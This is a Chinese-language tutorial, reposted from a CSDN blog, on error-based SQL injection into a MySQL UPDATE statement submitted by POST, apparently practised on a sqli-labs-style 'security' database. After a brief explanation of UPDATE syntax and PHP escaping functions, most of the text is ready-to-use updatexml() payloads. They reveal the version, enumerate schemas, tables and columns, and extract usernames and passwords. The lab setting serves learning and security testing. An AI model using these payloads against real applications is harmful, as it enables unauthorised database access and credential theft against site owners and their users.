一)post update语句注入
1)mysql update介绍
2)过滤内容介绍
3)mysql update注入
4)sqlmap安全步调
——————————————————————————————————————————————————
一)post update语句注入
1)mysql update介绍
mysql中的update更新数据,update语句可以用来修改表中的数据,简单来说其根本的形式为:update 要修改数的数值所在表的表名 set 要修改数的数值所在字段的字段名=新的值 where 限制条件; 如果没有添加限制调价就会把要修改数的数值所在的字段所都一起修改为 “新的值”。
2)过滤内容介绍
以上的代码剖析:
- 1)$value——是通过get或者post方法提交获取的值;2)get_magic_quotes_gpc()——增加转义字符“\”,此函数的值包罗:on/off3)stripslashes()——删除由addslashes()函数或者get_magic_quotes_gpc()函数添加的反斜杠4)mysql_real_escape_string()——转义 SQL 语句中使用的字符串中的特殊字符
复制代码
3)mysql update注入
获取版本信息:
- ' and updatexml(1,concat(0x7e,@@version,0x7e ),1)#或者 ' or updatexml(1,concat(0x7e,@@version,0x7e ),1)#或者' and updatexml(1,concat(0x7e,@@version,0x7e ),1)-- -或者' and updatexml(1,concat(0x7e,@@version,0x7e ),1)--+
复制代码
暴库:
- ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1)#或者 ' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1)#或者' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1)-- -或者' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1)--+
复制代码
爆表:
- ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1)#或者 ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1)#或者' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1)-- -或者' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1)--+
复制代码
爆字段:
- ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#或者 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#或者' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)-- -或者' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)--+
复制代码
4)sqlmap安全步调
dump数据:
- ' and updatexml(1,concat(0x7e,(select concat(id,0x7e,0x7e,password) from users limit 0,1),0x7e ),1)--+
复制代码 如果按照上面的payload就会报错:
采取下面的方法:
- ' or updatexml(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)),2)--+
复制代码
来源:https://blog.csdn.net/weixin_46709219/article/details/111562735
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |